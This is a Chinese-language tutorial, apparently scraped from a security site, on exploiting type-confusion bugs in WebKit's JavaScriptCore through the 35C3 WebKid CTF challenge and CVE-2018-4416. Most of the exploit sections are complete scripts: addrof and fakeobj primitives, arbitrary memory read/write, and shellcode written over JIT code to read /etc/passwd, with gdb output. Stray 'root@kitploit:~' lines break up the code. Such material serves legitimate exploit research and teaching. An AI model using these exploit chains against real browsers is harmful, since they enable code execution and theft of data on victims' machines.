#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o 现在是一个结构 ID 为 122 的对象。 o.property = 42; // o 现在是一个结构 ID 为 123 的对象。该结构是一个叶子(从未发生过迁移)。

function helper() { return o[0]; } jitCompile(helper); // 多次运行 helper 函数 // 在这种情况下,JIT 编译器会在编译 helper 函数时选择使用监控点而不是运行时检查。 // 因此,它监控结构 123 的迁移。

delete o.property; // o 现在“回到”了结构 ID 122。监控点没有被触发。 #+end_example

让我们先回顾一些知识。在 JSC 中,我们有 运行时类型检查 和 监控点 来确保正确的类型转换。在一个函数运行多次后,JSC 不会使用结构检查。相反,它会用 监控点 替代。当一个对象被修改时,浏览器应该触发监控点来通知这个改变,以便回退到 JS 解释器并生成新的 JIT 代码。

在这里,恢复到前一个 ID 不会触发 =监控点=,即使结构已经改变,这意味着 蝴蝶指针 的结构也会改变。然而,由 =helper= 生成的 JIT 代码不会回退,因为 监控点 没有被触发,导致类型混淆。并且 JIT 代码仍然可以访问旧的 蝴蝶 结构。我们可以泄露/创建假对象。

这是最小的攻击原语:

#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;

function returnElem() { return haxxArray[0]; }

function setElem(obj) { haxxArray[0] = obj; }

for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }

delete haxxArray.newProperty; haxxArray[0] = {};

function addrof(obj) { haxxArray[0] = obj; return returnElem(); }

function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT 代码将其视为整数,但实际上它应该是一个对象。 // 我们可以从中泄露地址。 print(addrof({})); // 基本与上面相同,但用于写入数据。 print(fakeobj(addrof({}))); #+end_example

** 实用工具函数 :PROPERTIES: :CUSTOM_ID: utility-functions :END: 利用脚本创建了许多实用工具函数。它们帮助我们创建几乎每个 WebKit 利用中都需要的基本原语。我们只看一些重要的函数。

*** 获取本地代码 :PROPERTIES: :CUSTOM_ID: getting-native-code :END: 要攻击,我们需要一个本地代码函数来写入 shellcode 或 ROP。此外,函数只有在运行多次后才会成为本地代码(这个在 =pwn.js= 中):

#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }

function makeJITCompiledFunction() { // 一些可以被 shellcode 覆盖的代码。 function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

} #+end_example

*** 控制字节 :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: 在 =int64.js= 中,我们构建了一个类 =Int64=。它使用 =Uint8Array= 来存储数字,并创建了许多相关操作,如 =add= 和 =sub=。在前一章中,我们提到 JavaScript 使用 标签值 来表示数字,这意味着你不能控制高位字节。=Uint8Array= 数组表示 8 位无符号整数,就像原生值一样,允许我们控制所有 8 个字节。

=Uint8Array= 的简单使用示例:

#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17

console.log(x[1]); // 值将被转换为 8 位无符号整数 // 211 #+end_example

它可以合并为一个 16 位数组。以下展示 =Uint8Array= 以原生形式存储,因为 =0x0201= == =513=:

#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example

=Int64= 的其余函数是不同操作的模拟。你可以从它们的名称和注释推断出它们的实现。阅读代码也很容易。

** 编写利用 :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** 关于脚本的细节 :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: 我在 Saelo 的原始 writeup 中添加了一些注释(大部分注释仍然是他的工作,非常感谢!):

#+begin_example const ITERATIONS = 100000;

// 一个辅助函数,返回带有本地代码的函数 function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });

// 返回一个带有本地代码的函数,稍后我们将在此函数中放置 shellcode function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;

root@kitploit:~
  // JIT compiler will install a watchpoint to discard the
  // compiled code if the structure of |o| ever transitions
  // (a heuristic for |o| being modified). As such, there
  // won't be runtime checks in the generated code.
  function helper() {
      return o[0];
  }
  jitCompile(helper);

  // This will take the newly added fast-path, changing the structure
  // of |o| without the JIT code being deoptimized (because the structure
  // of |o| didn't transition, |o| went "back" to an existing structure).
  delete o.addrof_property;

  // Now we are free to modify the structure of |o| any way we like,
  // the JIT compiler won't notice (it's watching a now unrelated structure).
  o[0] = {};

  return function(obj) {
      o[0] = obj;
      return Int64.fromDouble(helper());
  };

}

function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;

root@kitploit:~
  // Same as above, but write instead of reading from the array.
  function helper(addr) {
      o[0] = addr;
  }
  jitCompile(helper, 13.37);

  delete o.fakeobj_property;
  o[0] = {};

  return function(addr) {
      helper(addr.asDouble());
      return o[0];
  };

}

function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();

root@kitploit:~
  // verify basic exploit primitives work.
  var addr = addrof({p: 0x1337});
  assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
  print('[+] exploit primitives working');


  // from saelo: spray structures to be able to predict their IDs.
  // var structs = []
  // var i = 0;
  // var abc = [13.37];
  // abc.pointer = 1234;
  // abc['prop' + i] = 13.37;
  // structs.push(abc);
  // var victim = structs[0];
  //
  // and the payload still work stablely. It seems this action is redundant
  var structs = []
  for (var i = 0; i < 0x1000; ++i) {
      var array = [13.37];
      array.pointer = 1234;
      array['prop' + i] = 13.37;
      structs.push(array);
  }

  // take an array from somewhere in the middle so it is preceeded by non-null bytes which
  // will later be treated as the butterfly length.
  var victim = structs[0x800];
  print(`[+] victim @ ${addrof(victim)}`);

  // craft a fake object to modify victim
  var flags_double_array = new Int64("0x0108200700001000").asJSValue();
  var container = {
      header: flags_double_array,
      butterfly: victim
  };

  // create object having |victim| as butterfly.
  var containerAddr = addrof(container);
  print(`[+] container @ ${containerAddr}`);
  // add the offset to let compiler recognize fake structure
  var hax = fakeobj(Add(containerAddr, 0x10));
  // origButterfly is now based on the offset of **victim** 
  // because it becomes the new butterfly pointer
  // and hax[1] === victim.pointer
  var origButterfly = hax[1];

  var memory = {
      addrof: addrof,
      fakeobj: fakeobj,

      // Write an int64 to the given address.
      writeInt64(addr, int64) {
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = int64.asJSValue();
      },

      // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
      write16(addr, value) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = value;
      },

      // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
      write(addr, data) {
          while (data.length % 4 != 0)
              data.push(0);

          var bytes = new Uint8Array(data);
          var ints = new Uint16Array(bytes.buffer);

          for (var i = 0; i < ints.length; i++)
              this.write16(Add(addr, 2 * i), ints[i]);
      },

      // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
      read64(addr) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          return this.addrof(victim.pointer);
      },

      // Verify that memory read and write primitives work.
      test() {
          var v = {};
          var obj = {p: v};

          var addr = this.addrof(obj);
          assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

          var propertyAddr = Add(addr, 0x10);

          var value = this.read64(propertyAddr);
          assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

          this.write16(propertyAddr, 0x1337);
          assert(obj.p == 0x1337, "write16 does not work");
      },
  };

  // Testing code, not related to exploit
  var plainObj = {};
  var header = memory.read64(addrof(plainObj));
  memory.writeInt64(memory.addrof(container), header);
  memory.test();
  print("[+] limited memory read/write working");

  // get targetd function
  var func = makeJITCompiledFunction();
  var funcAddr = memory.addrof(func);

  // change the JIT code to shellcode
  // offset addjustment is a little bit complicated here :P
  print(`[+] shellcode function object @ ${funcAddr}`);
  var executableAddr = memory.read64(Add(funcAddr, 24));
  print(`[+] executable instance @ ${executableAddr}`);
  var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
  print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
  // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
  // final JIT Code address
  var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
  print(`[+] JITCode @ ${jitCodeAddr}`);

  var s = "A".repeat(64);
  var strAddr = addrof(s);
  var strData = Add(memory.read64(Add(strAddr, 16)), 20);
  shellcode.push(...strData.bytes());

  // write shellcode
  memory.write(jitCodeAddr, shellcode);

  // trigger shellcode
  var res = func();

  var flag = s.split('\n')[0];
  if (typeof(alert) !== 'undefined')
      alert(flag);
  print(flag);

}

if (typeof(window) === 'undefined') pwn(); #+end_example

** 漏洞利用结论 :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: 总之,该漏洞利用使用了两个最重要的攻击原语——=addrof=和=fakeobj=——来进行泄露和伪造。一个 JIT 编译的函数被泄露,并用我们的=shellcode=数组覆盖。然后我们调用该函数来泄露 flag。几乎所有浏览器漏洞利用都遵循这种形式。

感谢 35C3 CTF 的组织者,尤其是 Saelo。这是一个学习 WebKit 类型混淆的极好挑战。


  • 调试 WebKit :PROPERTIES: :CUSTOM_ID: debugging-webkit :END: 现在,我们已经理解了所有理论:架构、对象模型、漏洞利用。让我们开始实际操作。准备时,使用来自 Setup 部分编译的 /JSC/。由于我们只讨论调试,直接使用最新版本即可。

我曾尝试设置断点来查找它们的地址,但这实际上非常愚蠢。 /JSC/ 有许多非标准函数,可以为我们 dump 信息(你在 /Safari/ 中无法使用大部分!): - =print()= 和 =debug()=:类似于 /node.js/ 中的 =console.log()=,会输出信息到终端。但在 /Safari/ 中,=print= 会使用真实打印机打印文档。 - =describe()=:描述一个对象。我们可以通过该函数获取地址、类成员和相关信息的地址。 - =describeArrya()=:类似于 =describe()=,但侧重于对象的 /数组/ 信息。 - =readFile()=:打开文件并获取内容 - =noDFG()= 和 =noFLT()=:禁用某些 JIT 编译器。

** 设置断点 :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: 设置断点最简单的方法是在一个未使用的函数上断下。比如 =print= 或 =Array.prototype.slice([]);=。由于我们大多数时候不知道一个函数是否会影响 PoC,这种方法可能会带来一些副作用。

将漏洞函数作为断点也有效。当你试图理解一个漏洞时,在它们上面断下将极为重要。但它们的调用栈可能不令人愉快。

我们还可以在 WebKit 源码中自定义一个调试函数(使用 =int 3=)。在 =/Source/JavaScriptCore/jsc.cpp= 中定义、实现并注册我们的函数。它有助于我们在调试器中挂起 WebKit:

#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src

由于第三种方法需要修改源码,我个人更偏爱前两种。

** 检查 JSC 对象 :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: 好了,我们使用以下脚本:

#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))

print() #+end_example

使用带 gef 的 gdb 进行调试;你可能会猜到我们要打断 =print()=:

#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100

... // 一些回溯 #+end_example

#+begin_quote 对象的地址和 butterfly 指针在你的机器上可能不同。如果我们编辑脚本,地址也可能变化。请根据你的输出进行调整。 #+end_quote

我们将先看一眼对象及其指针:

#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example

如果改成浮点呢?

#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))

print() #+end_example

这里我们用了一个小技巧:=2261634.5098039214= 在内存中表示为 =0x4141414141414141=。通过这个魔法数字(这里我们直接使用 butterfly 指针)更方便地查找值。默认情况下,JSC 会用 =0x00000000badbeef0= 填充未使用的内存:

#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example

内存布局与 /JSC Object Model/ 部分相同,这里不再重复。

** 获取原生代码 :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: 现在,是时候获取编译后的函数了。它在理解 JSC 编译器和漏洞利用中扮演重要角色:

#+begin_example const ITERATIONS = 100000;

function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")

function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

func = makeJITCompiledFunction() debug(describe(func))

print() #+end_example

如果你仔细阅读了前面的部分,这并不难。现在,我们应该在调试器中获取它们的原生代码:

#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // 一些回溯 ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // 调试模式下,用 368 作为偏移量是可以的 // 但在发布模式下,应该是 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example

将你 dump 的字节放到 rasm2 中:

#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example

嗯……反汇编代码部分不正确。至少我们现在可以看到一个草稿了。


  • 1 Day 漏洞利用 :PROPERTIES: :CUSTOM_ID: day-exploitation :END: 让我们使用 /触发漏洞/ 部分中的漏洞:CVE-2018-4416。

这是一个类型混淆漏洞。由于我们已经讨论过 /WebKid/,一个具有类型混淆漏洞的类似 CTF 挑战题,理解这个应该不难。切换到有漏洞的分支,开始我们的旅程。

PoC 已在文章开头提供。将 =int64.js=、=shellcode.js= 和 =utils.js= 从 /WebKid/ 仓库复制到你的虚拟机中。

** 根因 :PROPERTIES: :CUSTOM_ID: root-cause :END: *** 引用自 Lokihardt :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: 以下是对 CVE-2018-4416 的描述,来自 /Lokihardt/,我部分高亮。

当执行 =for-in= 循环时,会在开始时创建一个 =JSPropertyNameEnumerator object=,用于存储 =for-in= 循环输入对象的信息。在循环内部,每个 =get_by_id= 表达式的“this”对象(其索引为循环变量)的 /structure ID/ 会与 =JSPropertyNameEnumerator object= 中缓存的 =structure ID= 进行比较。如果相同,则该 =get_by_id= 表达式的“this”对象将被视为具有与 =for-in= 循环输入对象相同的结构。

问题在于,它没有任何机制防止缓存 /structure ID/ 来源的结构被释放。由于 /structure ID/ 在其所有者被释放后可以被重用,这可能导致 /类型混淆/。

*** 逐行解释 :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: =/* */= 中的注释是我的分析,可能不准确。=//= 后的注释来自 Lokihardt:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // 开始优化。 for (let i = 0; i < 500; i++) {

root@kitploit:~
  }
  /* Step 3 */
  /* 这是另一个目标 */
  /* 我们想将它(tmp)与 obj(fake_object_memory)混淆 */
  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // tmp 的结构 ID 存储在 JSPropertyNameEnumerator 中。
      /* Step 4 */
      /* 将 tmp 的结构改为 {} */
      tmp.__proto__ = {};

      gc();
      /* obj 的结构现在也是 {} */
      obj.__proto__ = {};  // obj 的结构 ID 等于 tmp 的。

      /* Step 5 */
      /* 编译器现在认为 obj 和 tmp 共享相同类型 */
      /* 因此,obj[k] 将用偏移量 a 从对象中检索数据 */
      /* 在打补丁后的版本中,它应该是 undefined */
      return obj[k];  // 类型混淆。
  }

}

/* Step 0 / / 准备结构 {} */ opt({});

/* Step 1 / / 目标数组,0x1234 是我们的假地址 */ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

/* Step 2 / / 触发类型混淆 */ let fake_object = opt(fake_object_memory);

/* JSC 崩溃 */ print(fake_object); #+end_example

*** 调试 :PROPERTIES: :CUSTOM_ID: debugging :END: 让我们调试它以验证我们的想法。我修改了原始 PoC 以便于调试。但它们几乎相同,只是增加了额外的 =print()=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // 开始优化。 for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // tmp 的结构 ID 存储在 JSPropertyNameEnumerator 中。
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};  // obj 的结构 ID 等于 tmp 的。
      debug("Confused Object: " + describe(obj));
      return obj[k];  // 类型混淆。
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example

然后 =gdb ./jsc=,=b *printInternal=,=r poc.js=。我们可以得到:

#+begin_example ...

--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142

... #+end_example

让我们看一眼我们的假地址。JSC 太大,很难找到你想要的断点。我们可以设置一个监视点来跟踪它的流程:

#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example

稍后我们得到预期输出:

#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000

Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example

但为什么它停在 =structure ID=?我们可以从内存布局中找到答案:

#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064

tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_example因此,Uint32Array 的指针作为对象返回。而 m_structureID 位于每个 JS 对象的开头。由于 0x1234 是我们数组的第一个元素,所以 structureID() 获取到它是合理的。

现在我们可以使用 Uint32Array 中的数据来伪造对象。太棒了!

** 构建攻击原语 :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: 现在,我们应该构造一个合法的对象。我选择 {}(空对象)作为目标。

空对象在内存中长什么样(此处忽略脚本化和调试):

#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example

好的,它以 0x010016000000008a 开头。我们可以方便地在 Uint32Array 中模拟它(记得在这里粘贴 gc 和 opt):

#+begin_example function gc() { ... // 与上面相同 }

function opt(obj) { ... // 与上面相同 }

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}

print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example

返回两个神秘数字:

#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src

显然,这是指针格式。现在我们可以泄露任意对象了!

*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: 获取 fakeobj 与构造 addrof 几乎相同。不同之处在于,你需要将地址填入 UInt32Array,然后通过 fake_object 的属性 a 获取对象。

*** 任意读写与 Shellcode 执行 :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: 这与 WebKid 挑战中的利用脚本类似。完整脚本太长,无法逐行解释。不过,你可以[[/assets/CVE-2018-4416.js][在这里]]找到它。你可能需要尝试大约 10 轮才能成功利用。成功时它会读取你的 /etc/passwd。核心代码如下:

#+begin_example // 获取已编译的函数 var func = makeJITCompiledFunction();

function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

// 类型混淆在这里 function opt(obj) { for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};
  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};
      // 编译器被误导,认为 obj 和 tmp 共享相同类型
      return obj[k];
  }

}

opt({});

// 使用 Uint32Array 构造可控内存 // 构造假对象头 let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);

debug(describe(fake_object))

// 使用 JIT 稳定我们的属性 // 属性 a 将用于 addrof/fakeobj // 属性 b 将用于任意读写 for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }

// 获取 addrof // 我们将对象传递给 fake_object // 由于 fake_object 位于 fake_object_memory 内部,并以整数表示 // 我们可以使用 fake_object_memory 来检索整数值 function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }

// 相同 // 但我们先传入整数值,然后检索对象 function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }

addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] 设置 addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof 和/或 fakeobj 不起作用"); debug('[+] 利用原语可用');

// 使用 fake_object + 0x40 构建另一个用于读写的假对象 var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;

var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }

// 我们将使用 victim 作为 container 对象的 butterfly 指针 victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)

// 将 container 覆盖到 fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b

var origButterfly = hax[1];

var memory = { addrof: addrof, fakeobj: fakeobj,

root@kitploit:~
  // 向指定地址写入一个 int64。
  // 我们将 victim 的 butterfly 改为 addr + 0x10
  // 当 victim 改变 pointer 属性时,它将读取 butterfly - 0x10
  // 这等于 addr + 0x10 - 0x10 = addr
  // 读取任意值几乎相同
  writeInt64(addr, int64) {
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = int64.asJSValue();
  },

  // 向指定地址写入一个 2 字节整数。会损坏写入整数后的 6 个额外字节。
  write16(addr, value) {
      // 设置 victim 对象的 butterfly 并解引用。
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = value;
  },

  // 向指定地址写入多个字节。会在末尾额外损坏 6 个字节。
  write(addr, data) {
      while (data.length % 4 != 0)
          data.push(0);

      var bytes = new Uint8Array(data);
      var ints = new Uint16Array(bytes.buffer);

      for (var i = 0; i < ints.length; i++)
          this.write16(Add(addr, 2 * i), ints[i]);
  },

  // 读取一个 64 位值。仅适用于不表示 NaN 的位模式。
  read64(addr) {
      // 设置 victim 对象的 butterfly 并解引用。
      hax[1] = Add(addr, 0x10).asDouble();
      return this.addrof(victim.pointer);
  },

  // 验证内存读写原语是否正常工作。
  test() {
      var v = {};
      var obj = {p: v};

      var addr = this.addrof(obj);
      assert(this.fakeobj(addr).p == v, "addrof 和/或 fakeobj 不起作用");

      var propertyAddr = Add(addr, 0x10);

      var value = this.read64(propertyAddr);
      assert(value.asDouble() == addrof(v).asDouble(), "read64 不起作用");

      this.write16(propertyAddr, 0x1337);
      assert(obj.p == 0x1337, "write16 不起作用");
  },

};

memory.test(); debug("[+] 有限内存读写可用");

// 获取 JIT 代码地址 debug(describe(func)) var funcAddr = memory.addrof(func); debug([+] shellcode 函数对象 @ ${funcAddr}); var executableAddr = memory.read64(Add(funcAddr, 24)); debug([+] 可执行实例 @ ${executableAddr}); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); debug([+] JITCode 实例 @ ${jitCodeObjAddr}); var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); //var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); debug([+] JITCode @ ${jitCodeAddr});

// 我们的 shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41]

var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20);

// 写入 shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode);

// 触发并获取 /etc/passwd func(); print() #+end_example


  • 结论 :PROPERTIES: :CUSTOM_ID: conclusion :END: 我们演示了浏览器最复杂部分——JavaScript 引擎——的利用方法。然而,浏览器非常庞大。还有许多其他攻击面,比如 DOM 和 WASM。一些研究人员还发现了浏览器使用的 SQL 数据库中的漏洞,这些漏洞可能被转化为远程代码执行(RCE)。请保持耐心和创造力。

  • 参考资料 :PROPERTIES: :CUSTOM_ID: references :END:
  • /Groß S/, 2018, Black Hat USA, /"Attacking Client-Side JIT Compilers"/
  • /Han C/, [[https://github.com/tunz/js-vuln-db/][/"js-vuln-db"/]]
  • /Gianni A/ 和 /Heel1an S/, /"Exploit WebKit Heap"/
  • /Filip Pizlo/, http://www.filpizlo.com, 感谢诸多演讲!
  • /Groß S/, 2018, 35C3 CTF /WebKid Challenge/
  • /dwfault/, 2018, [[http://dwfault-blog.imwork.net:30916/2019/01/03/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/][/WebKit 调试技巧/]]
下载工具